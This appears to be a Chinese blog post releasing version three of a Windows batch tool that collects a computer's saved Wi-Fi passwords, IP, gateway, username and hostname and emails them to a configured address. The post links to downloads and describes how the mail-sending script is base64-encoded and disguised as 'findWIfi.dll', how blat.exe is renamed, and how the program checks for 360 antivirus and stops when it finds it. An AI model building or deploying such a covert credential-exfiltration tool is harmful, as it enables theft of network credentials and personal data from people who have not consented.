使用cmd查看电脑连接过的wifi密码并将密码发送至指定邮箱(三)
之前,我写了使用cmd查看电脑连接过的wifi密码(二)和使用cmd查看电脑连接过的wifi密码(一)但其中的功能不完善,在本次的更新中新增了更多的功能,其实2018/10/24 就更新完成了,一直拖到现在主要是为了验证程序在不同机子上的执行情况并进行修正。(大家在使用过程中有问题可以留言我,我会改进本程序)
注意本软件只用于学习和正当途径,如果有人恶意入侵别人电脑造成财产损失,或个人信息泄露,本作者并不负责。
我这里直接提供代码下载,大家自己研究(我这里没有提供findWIfi.dll需要你自己生成,不然程序无法运行):
链接:https://pan.baidu.com/s/1S_bcNxoSs6gILuyzZ-mfrQ
提取码:eofa
Github: https://github.com/feiquan123/Blat_sendWifiPassword/
本机系统: win10
更新内容:
1.修复wifi名为空时,打印不完全
2.重命名保存的文件名
3.更改临时文件的位置
4.修复命名文件时时间问题,将小于10点之前的空格+一位数变为两位数
5.修复网络状态监测
6.新增路径判断,主要是不能有空格
7.新增360杀毒软件的检测,如果有则程序不能运行
8.新增邮箱发送功能,将之前检测到的WiFi密码发送到指定邮箱
9.新增文件检测,即所需要的文件是否存在,如果不存在提示那个文件丢失
10.除了获取wifi密码外还获取ip地址,网关以及用户名和主机名
文件:

在以上文件中红色标识的是不可缺少的文件,并且不可更名。
checkFiles.bat 主要是程序运行前的检测工作
ClickStartCrackWifiPassword.bat 程序运行的开始位置
configFiles.ini 配置文件,用来检查文件是否存在
findWIfi.dll 是 admin/scanWifi.bat加密后形成 findWIfi.dll,如果要修改邮箱地址,则先修改admin/scanWifi.bat 之后使用 admin/readmin的第一行命令对其加密后形成admin/findWIfi.dll,然后将admin/findWIfi.dll覆盖根目录下的findWifi.dll
rendme.txt 程序运行前的提示,版本更新
saveWiFi.bat 保存得到的密码文件(功能二)
scanWifi.dll 在temp目录生成scanWifi.exe(此文件本质是用来发wifi密码到指定邮箱),是blat.exe(cmd下发送邮件的小的开源软件 https://sourceforge.net/projects/blat/files/ )的重命名
seeWiFi.bat 查看密码(功能一)
文件夹:
password 保存生成的密码文件
admin 主要存放了邮箱发送的原始文件,以及要替换得findWifi.dll 
其中,红色为原始文件,修改邮箱的方法:
1.打开scanWIFi.bat,修改红色圈住的变量,其中form是发送的邮件人也是登录邮箱服务器的用户名,to是接受邮件的人,server是邮箱的服务器,(我这里是163的邮箱服务器,如果你是QQ的话是:smtp.qq.com),pw是登录邮箱的客户端授权密码,不是直接登录邮箱的密码

2.修改完成后,点击replace.bat 直接对scanWifi.bat进行base64加密生成同一目录下的findWIfi.dll,之后使用admin/findWIfi.dll替换根目录下的findWIfi.dll,就可以了
程序运行后的效果:



邮箱



版权 作者:feiquan 出处:http://www.cnblogs.com/feiquan/ 版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利。 大家写文都不容易,请尊重劳动成果~ 这里谢谢大家啦(*/ω\*)
使用cmd查看电脑连接过的wifi密码并将密码发送至指定邮箱(三)的更多相关文章
- 使用cmd查看电脑连接过的wifi密码(二)
上次写了一个查看wifi的bat文件(https://www.cnblogs.com/feiquan/p/9823402.html),发现有个问题就没法保存到记事本,而且还要处理不同的系统语言,这次重 ...
- 使用cmd查看电脑连接过的wifi密码(一)
有时总会忘记之前的wifi密码,这时候就需要查看wifi密码: 这个我就写了一个bat文件,方便下次使用,这里我添加了中文和英文的判断,主要是语言不同输出的信息不用,不说了直接上代码: @echo o ...
- 查看window系统电脑连接过的wifi密码
电脑连接过的wifi都会有痕迹,包括SSID号和密码等信息,借此可以回查wifi密码信息. 步骤: 1.开始----运行----输入cmd 2.在dos窗口输入以下代码: “for /f " ...
- 查看电脑连接的WiFi的密码
这里提供两种办法:图形界面操作版.命令行操作版 方法一: 打开控制面板 点击红色框部分 方法二 打开命令行:输入命令netsh wlan show profiles "连接的WiFi的名称& ...
- windows10查看电脑已经保存的wifi密码
1,打开windows的命令窗口,输入 netsh wlan show profiles,如下图,这个命令仅仅只是查看一下电脑保存的所有的wifi名字 2,需要查看密码的话,则需要输入这个命令, ...
- 查看电脑已保存的wifi及密码
1. 查看以保存的wifi名称 打开cmd(win+r) #查看已保存WiFi名称 netsh wlan show profiles 2. 查看已保存的wifi的密码 netsh wlan show ...
- windows cmd 查看远程连接端口
查看远程端口号 Cmd tasklist /svc 在输出的内容中查找svchost.exe进程下termservice服务对应的PID,在此查看的PID为:276 然后输入命令:netstat ...
- cmd查看电脑是32位还是64位
代码如下 @echo off if "%PROCESSOR_ARCHITECTURE%" == "AMD64" ( echo OS is 64bit) EL ...
- 怎样查看电脑登录过的wifi密码?
https://jingyan.baidu.com/album/fcb5aff770f7e6edaa4a71d9.html?picindex=7
随机推荐
- 有人WIFI模块使用详解
补充 模块在连接路由器时如果希望模块固定IP 不过发现固定IP之后好像连接路由器的等待时间增加了 用的这一款 看一下现在可能用到了引脚 这个模块也有三种模式AP,STA,AP+STA 先说一下模块在A ...
- 从零开始学习和改造activiti流程引擎的13天,自己记录一下
day#1(11.13) 尝试通过spring boot 集成最新版activiti 7,但是苦于官方的文档基本为空,无法完成spring boot的配置,最终按照activiti 6的文档,手工初始 ...
- Flarum轻量级论坛的安装
论坛作为互联网中的远古产物,经历了如QQ群.社区和贴吧等新兴社交工具的冲击,依然能够存在,肯定是有着不可替代的用处,像吾爱.远景等论坛依旧火热.一些博客主也喜欢自己搭建一个论坛作为用户聚集之地. 之前 ...
- appium-desktop定位元素原理
初衷 最近在编写Android App自动化用例,其中元素定位相对来说耗费的时间比较长.我们都知道Appium-desktop拥有自己的录制功能,我们就在想是不是可以把录制功能跟我司的自动化框架(AT ...
- git的学习笔记(二):git远程操作
1.创建ssh key ssh-keygen -t rsa -C "your_email@example.com" 执行命令后会在用户的家目录生成.ssh的隐藏文件夹,文件夹里有公 ...
- Linux中Mysql的简介和安装
MySQL 简介 点击查看MySQL官方网站 MySQL是一个关系型数据库管理系统,由瑞典MySQL AB公司开发,后来被Sun公司收购,Sun公司后来又被Oracle公司收购,目前属于Oracle旗 ...
- Android or Java的回调粗俗理解 这才是最通俗易懂的
FUCK,网上装逼者甚众矣! 网上一堆关于JAVA函数回调的见解文章,都说自己写的明白,但没几个我看的明白的. 不如自己写一个东西,回头自己看着舒服 回调函数:定义自己百度 干嘛的? 场景就是事务A执 ...
- Identity Server 4 - Hybrid Flow - 使用ABAC保护MVC客户端和API资源
这个系列文章介绍的是Identity Server 4 实施 OpenID Connect 的 Hybrid Flow. 保护MVC客户端: https://www.cnblogs.com/cgzl/ ...
- 【Python语言】--Crontab结合Python脚本实现将日志每天写入到文件中
一.前述 实际工作中将Python脚本每天定时写入到日志文件中的使用场景还是蛮多的,有很多种方法可以实现这种效果.本文选择一种方式实现,特将实现细节做如下分享,不当之处烦请指正. 二.具体 1.pyt ...
- java~modelMapper需要注意的几点
对于modelMapper来说,主要实现的是对象与对象的赋值,在这微服务里的数据传输对象中用的比较多,DTO这个对象是从业务模型抽象出来的,满足某一种业务,它与数据持久化模型没有关系,而如果我们把数据 ...